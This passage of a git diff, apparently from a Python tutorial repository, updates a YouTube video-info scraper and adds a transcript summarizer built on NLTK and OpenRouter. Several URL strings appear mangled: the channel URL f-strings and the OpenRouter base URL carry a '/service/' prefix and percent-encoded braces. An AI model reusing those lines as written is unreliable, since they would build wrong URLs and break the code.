"ytd-toggle-button-renderer"}) - # result["likes"] = ''.join([ c for c in text_yt_formatted_strings[0].attrs.get("aria-label") if c.isdigit() ]) - # result["likes"] = 0 if result['likes'] == '' else int(result['likes']) - # number of dislikes - YouTube does not publish this anymore... - # result["dislikes"] = ''.join([ c for c in text_yt_formatted_strings[1].attrs.get("aria-label") if c.isdigit() ]) - # result["dislikes"] = '0' if result['dislikes'] == '' else result['dislikes'] - result['dislikes'] = 'UNKNOWN' - # channel details - channel_tag = soup.find("meta", itemprop="channelId")['content'] - # channel name - channel_name = soup.find("span", itemprop="author").next.next['content'] - # channel URL - # channel_url = soup.find("span", itemprop="author").next['href'] - channel_url = f"https://www.youtube.com/%7Bchannel_tag%7D" - # number of subscribers as str - channel_subscribers = videoSecondaryInfoRenderer['owner']['videoOwnerRenderer']['subscriberCountText']['accessibility']['accessibilityData']['label'] - # channel details (old way) - # channel_tag = soup.find("yt-formatted-string", {"class": "ytd-channel-name"}).find("a") - # # channel name (old way) - # channel_name = channel_tag.text - # # channel URL (old way) - # channel_url = f"https://www.youtube.com{channel_tag['href']}" - # number of subscribers as str (old way) - # channel_subscribers = soup.find("yt-formatted-string", {"id": "owner-sub-count"}).text.strip() - result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers} - return result + """ + Extract video information from YouTube using modern approach + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + + try: + # Download HTML code + response = requests.get(url, headers=headers) + response.raise_for_status() + + # Create beautiful soup object to parse HTML + soup = BeautifulSoup(response.text, "html.parser") + + # Initialize the result + result = {} + + # Extract ytInitialData which contains all the video information + data_match = re.search(r'var ytInitialData = ({.*?});', response.text) + if not data_match: + raise Exception("Could not find ytInitialData in page") + + data_json = json.loads(data_match.group(1)) + + # Get the main content sections + contents = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'] + + # Extract video information from videoPrimaryInfoRenderer + if 'videoPrimaryInfoRenderer' in contents[0]: + primary = contents[0]['videoPrimaryInfoRenderer'] + + # Video title + result["title"] = primary['title']['runs'][0]['text'] + + # Video views + result["views"] = primary['viewCount']['videoViewCountRenderer']['viewCount']['simpleText'] + + # Date published + result["date_published"] = primary['dateText']['simpleText'] + + # Extract channel information from videoSecondaryInfoRenderer + secondary = None + if 'videoSecondaryInfoRenderer' in contents[1]: + secondary = contents[1]['videoSecondaryInfoRenderer'] + owner = secondary['owner']['videoOwnerRenderer'] + + # Channel name + channel_name = owner['title']['runs'][0]['text'] + + # Channel ID + channel_id = owner['navigationEndpoint']['browseEndpoint']['browseId'] + + # Channel URL - FIXED with proper /channel/ path + channel_url = f"https://www.youtube.com/channel/%7Bchannel_id%7D" + + # Number of subscribers + channel_subscribers = owner['subscriberCountText']['accessibility']['accessibilityData']['label'] + + result['channel'] = { + 'name': channel_name, + 'url': channel_url, + 'subscribers': channel_subscribers + } + + # Extract video description + if secondary and 'attributedDescription' in secondary: + description_runs = secondary['attributedDescription']['content'] + result["description"] = description_runs + else: + result["description"] = "Description not available" + + # Try to extract video duration from player overlay + # This is a fallback approach since the original method doesn't work + duration_match = re.search(r'"approxDurationMs":"(\d+)"', response.text) + if duration_match: + duration_ms = int(duration_match.group(1)) + minutes = duration_ms // 60000 + seconds = (duration_ms % 60000) // 1000 + result["duration"] = f"{minutes}:{seconds:02d}" + else: + result["duration"] = "Duration not available" + + # Extract video tags if available + video_tags = [] + if 'keywords' in data_json.get('metadata', {}).get('videoMetadataRenderer', {}): + video_tags = data_json['metadata']['videoMetadataRenderer']['keywords'] + result["tags"] = ', '.join(video_tags) if video_tags else "No tags available" + + # Extract likes (modern approach) + result["likes"] = "Likes count not available" + result["dislikes"] = "UNKNOWN" # YouTube no longer shows dislikes + + # Try to find likes in the new structure + for content in contents: + if 'compositeVideoPrimaryInfoRenderer' in content: + composite = content['compositeVideoPrimaryInfoRenderer'] + if 'likeButton' in composite: + like_button = composite['likeButton'] + if 'toggleButtonRenderer' in like_button: + toggle = like_button['toggleButtonRenderer'] + if 'defaultText' in toggle: + default_text = toggle['defaultText'] + if 'accessibility' in default_text: + accessibility = default_text['accessibility'] + if 'accessibilityData' in accessibility: + label = accessibility['accessibilityData']['label'] + if 'like' in label.lower(): + result["likes"] = label + + return result + + except Exception as e: + raise Exception(f"Error extracting video info: {str(e)}") if __name__ == "__main__": - import argparse parser = argparse.ArgumentParser(description="YouTube Video Data Extractor") parser.add_argument("url", help="URL of the YouTube video") args = parser.parse_args() + # parse the video URL from command line url = args.url - data = get_video_info(url) + try: + data = get_video_info(url) - # print in nice format - print(f"Title: {data['title']}") - print(f"Views: {data['views']}") - print(f"Published at: {data['date_published']}") - print(f"Video Duration: {data['duration']}") - print(f"Video tags: {data['tags']}") - print(f"Likes: {data['likes']}") - print(f"Dislikes: {data['dislikes']}") - print(f"\nDescription: {data['description']}\n") - print(f"\nChannel Name: {data['channel']['name']}") - print(f"Channel URL: {data['channel']['url']}") - print(f"Channel Subscribers: {data['channel']['subscribers']}") + # print in nice format + print(f"Title: {data['title']}") + print(f"Views: {data['views']}") + print(f"Published at: {data['date_published']}") + print(f"Video Duration: {data['duration']}") + print(f"Video tags: {data['tags']}") + print(f"Likes: {data['likes']}") + print(f"Dislikes: {data['dislikes']}") + print(f"\nDescription: {data['description']}\n") + print(f"\nChannel Name: {data['channel']['name']}") + print(f"Channel URL: {data['channel']['url']}") + print(f"Channel Subscribers: {data['channel']['subscribers']}") + + except Exception as e: + print(f"Error: {e}") + print("\nNote: YouTube frequently changes its structure, so this script may need updates.") \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/README.md b/web-scraping/youtube-transcript-summarizer/README.md new file mode 100644 index 00000000..a3df25a0 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/README.md @@ -0,0 +1 @@ +# [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python) \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/requirements.txt b/web-scraping/youtube-transcript-summarizer/requirements.txt new file mode 100644 index 00000000..865ee3b5 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/requirements.txt @@ -0,0 +1,5 @@ +nltk +pytube +youtube_transcript_api +colorama +openai diff --git a/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py new file mode 100644 index 00000000..bdb80f54 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py @@ -0,0 +1,319 @@ +import os +import sys +import nltk +import pytube +from youtube_transcript_api import YouTubeTranscriptApi +from nltk.corpus import stopwords +from nltk.tokenize import sent_tokenize, word_tokenize +from nltk.probability import FreqDist +from heapq import nlargest +from urllib.parse import urlparse, parse_qs +import textwrap +from colorama import Fore, Back, Style, init +from openai import OpenAI + +# Initialize colorama for cross-platform colored terminal output +init(autoreset=True) + +# Download necessary NLTK data +nltk.download('punkt_tab', quiet=True) +nltk.download('punkt', quiet=True) +nltk.download('stopwords', quiet=True) + +# Initialize OpenAI client from environment variable +# Expect the OpenRouter API key to be provided via OPENROUTER_API_KEY +api_key = os.getenv("OPENROUTER_API_KEY") +if not api_key: + print(Fore.RED + "Error: OPENROUTER_API_KEY environment variable is not set or is still the placeholder ('').") + sys.exit(1) +else: + client = OpenAI( + base_url="https://openrouter.ai/api/v1", + api_key=api_key, + ) + +def extract_video_id(youtube_url): + """Extract the video ID from a YouTube URL.""" + parsed_url = urlparse(youtube_url) + + if parsed_url.netloc == 'youtu.be': + return parsed_url.path[1:] + + if parsed_url.netloc in ('www.youtube.com', 'youtube.com'): + if parsed_url.path == '/watch': + return parse_qs(parsed_url.query)['v'][0] + elif parsed_url.path.startswith('/embed/'): + return parsed_url.path.split('/')[2] + elif parsed_url.path.startswith('/v/'): + return parsed_url.path.split('/')[2] + + # If no match found + raise ValueError(f"Could not extract video ID from URL: {youtube_url}") + +def get_transcript(video_id): + """Get the transcript of a YouTube video.""" + try: + youtube_transcript_api = YouTubeTranscriptApi() + fetched_transcript = youtube_transcript_api.fetch(video_id) + full_transcript = " ".join([snippet.text for snippet in fetched_transcript.snippets]) + return full_transcript.strip() + except Exception as e: + return f"Error retrieving transcript: {str(e)}." + +def summarize_text_nltk(text, num_sentences=5): + """Summarize text using frequency-based extractive summarization with NLTK.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Tokenize the text into sentences and words + sentences = sent_tokenize(text) + + # If there are fewer sentences than requested, return all sentences + if len(sentences) <= num_sentences: + return text + + # Tokenize words and remove stopwords + stop_words = set(stopwords.words('english')) + words = word_tokenize(text.lower()) + words = [word for word in words if word.isalnum() and word not in stop_words] + + # Calculate word frequencies + freq = FreqDist(words) + + # Score sentences based on word frequencies + sentence_scores = {} + for i, sentence in enumerate(sentences): + for word in word_tokenize(sentence.lower()): + if word in freq: + if i in sentence_scores: + sentence_scores[i] += freq[word] + else: + sentence_scores[i] = freq[word] + + # Get the top N sentences with highest scores + summary_sentences_indices = nlargest(num_sentences, sentence_scores, key=sentence_scores.get) + summary_sentences_indices.sort() # Sort to maintain original order + + # Construct the summary + summary = ' '.join([sentences[i] for i in summary_sentences_indices]) + return summary + +def summarize_text_ai(text, video_title, num_sentences=5): + """Summarize text using the Mistral AI model via OpenRouter.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Truncate text if it's too long (models often have token limits) + max_chars = 15000 # Adjust based on model's context window + truncated_text = text[:max_chars] if len(text) > max_chars else text + + prompt = f"""Please provide a concise summary of the following YouTube video transcript. +Title: {video_title} + +Transcript: +{truncated_text} + +Create a clear, informative summary that captures the main points and key insights from the video. +Your summary should be approximately {num_sentences} sentences long. +""" + + try: + completion = client.chat.completions.create( + model="mistralai/mistral-small-3.1-24b-instruct:free", + messages=[ + { + "role": "user", + "content": [ + { + "type": "text", + "text": prompt + } + ] + } + ] + ) + return completion.choices[0].message.content + except Exception as e: + return f"Error generating AI summary: {str(e)}" + +def summarize_youtube_video(youtube_url, num_sentences=5): + """Main function to summarize a YouTube video's transcription.""" + try: + video_id = extract_video_id(youtube_url) + transcript = get_transcript(video_id) + + # Get video title for context + try: + yt = pytube.YouTube(youtube_url) + video_title = yt.title + + except Exception as e: + video_title = "Unknown Title" + + + # Generate both summaries + print(Fore.YELLOW + f"Generating AI summary with {num_sentences} sentences...") + ai_summary = summarize_text_ai(transcript, video_title, num_sentences) + + print(Fore.YELLOW + f"Generating NLTK summary with {num_sentences} sentences...") + nltk_summary = summarize_text_nltk(transcript, num_sentences) + + return { + "video_title": video_title, + "video_id": video_id, + "ai_summary": ai_summary, + "nltk_summary": nltk_summary, + "full_transcript_length": len(transcript.split()), + "nltk_summary_length": len(nltk_summary.split()), + "ai_summary_length": len(ai_summary.split()) if not ai_summary.startswith("Error") else 0 + } + except Exception as e: + return {"error": str(e)} + +def format_time(seconds): + """Convert seconds to a readable time format.""" + hours, remainder = divmod(seconds, 3600) + minutes, seconds = divmod(remainder, 60) + + if hours > 0: + return f"{hours}h {minutes}m {seconds}s" + elif minutes > 0: + return f"{minutes}m {seconds}s" + else: + return f"{seconds}s" + +def format_number(number): + """Format large numbers with commas for readability.""" + return "{:,}".format(number) + +def print_boxed_text(text, width=80, title=None, color=Fore.WHITE): + """Print text in a nice box with optional title.""" + wrapper = textwrap.TextWrapper(width=width-4) # -4 for the box margins + wrapped_text = wrapper.fill(text) + lines = wrapped_text.split('\n') + + # Print top border with optional title + if title: + title_space = width - 4 - len(title) + left_padding = title_space // 2 + right_padding = title_space - left_padding + print(color + '┌' + '─' * left_padding + title + '─' * right_padding + '┐') + else: + print(color + '┌' + '─' * (width-2) + '┐') + + # Print content + for line in lines: + padding = width - 2 - len(line) + print(color + '│ ' + line + ' ' * padding + '│') + + # Print bottom border + print(color + '└' + '─' * (width-2) + '┘') + +def print_summary_result(result, width=80): + """Print the summary result in a nicely formatted way.""" + if "error" in result: + print_boxed_text(f"Error: {result['error']}", width=width, title="ERROR", color=Fore.RED) + return + + # Terminal width + terminal_width = width + + # Print header with video information + print("\n" + Fore.CYAN + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + result['video_title'].center(terminal_width)) + print(Fore.CYAN + "=" * terminal_width + "\n") + + # Video metadata section + print(Fore.YELLOW + Style.BRIGHT + "VIDEO INFORMATION".center(terminal_width)) + print(Fore.YELLOW + "─" * terminal_width) + + # Two-column layout for metadata + col_width = terminal_width // 2 - 2 + + # Row 3 + print(f"{Fore.GREEN}Video ID: {Fore.WHITE}{result['video_id']:<{col_width}}" + f"{Fore.GREEN}URL: {Fore.WHITE}https://youtu.be/{result['video_id']}") + + print(Fore.YELLOW + "─" * terminal_width + "\n") + + # AI Summary section + ai_compression = "N/A" + if result['ai_summary_length'] > 0: + ai_compression = round((1 - result['ai_summary_length'] / result['full_transcript_length']) * 100) + + ai_summary_title = f" AI SUMMARY ({result['ai_summary_length']} words, condensed {ai_compression}% from {result['full_transcript_length']} words) " + + print(Fore.GREEN + Style.BRIGHT + ai_summary_title.center(terminal_width)) + print(Fore.GREEN + "─" * terminal_width) + + # Print the AI summary with proper wrapping + wrapper = textwrap.TextWrapper(width=terminal_width-4, + initial_indent=' ', + subsequent_indent=' ') + + # Split AI summary into paragraphs and print each + ai_paragraphs = result['ai_summary'].split('\n') + for paragraph in ai_paragraphs: + if paragraph.strip(): # Skip empty paragraphs + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.GREEN + "─" * terminal_width + "\n") + + # NLTK Summary section + nltk_compression = round((1 - result['nltk_summary_length'] / result['full_transcript_length']) * 100) + nltk_summary_title = f" NLTK SUMMARY ({result['nltk_summary_length']} words, condensed {nltk_compression}% from {result['full_transcript_length']} words) " + + print(Fore.MAGENTA + Style.BRIGHT + nltk_summary_title.center(terminal_width)) + print(Fore.MAGENTA + "─" * terminal_width) + + # Split NLTK summary into paragraphs and wrap each + paragraphs = result['nltk_summary'].split('. ') + formatted_paragraphs = [] + + current_paragraph = "" + for sentence in paragraphs: + if not sentence.endswith('.'): + sentence += '.' + + if len(current_paragraph) + len(sentence) + 1 <= 150: # Arbitrary length for paragraph + current_paragraph += " " + sentence if current_paragraph else sentence + else: + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + current_paragraph = sentence + + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + + # Print each paragraph + for paragraph in formatted_paragraphs: + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.MAGENTA + "─" * terminal_width + "\n") + + +if __name__ == "__main__": + # Get terminal width + try: + terminal_width = os.get_terminal_size().columns + # Limit width to reasonable range + terminal_width = max(80, min(terminal_width, 120)) + except: + terminal_width = 80 # Default if can't determine + + # Print welcome banner + print(Fore.CYAN + Style.BRIGHT + "\n" + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + "YOUTUBE VIDEO SUMMARIZER".center(terminal_width)) + print(Fore.CYAN + Style.BRIGHT + "=" * terminal_width + "\n") + + youtube_url = input(Fore.GREEN + "Enter YouTube video URL: " + Fore.WHITE) + + num_sentences_input = input(Fore.GREEN + "Enter number of sentences for summaries (default 5): " + Fore.WHITE) + num_sentences = int(num_sentences_input) if num_sentences_input.strip() else 5 + + print(Fore.YELLOW + "\nFetching and analyzing video transcript... Please wait...\n") + + result = summarize_youtube_video(youtube_url, num_sentences) + print_summary_result(result, width=terminal_width)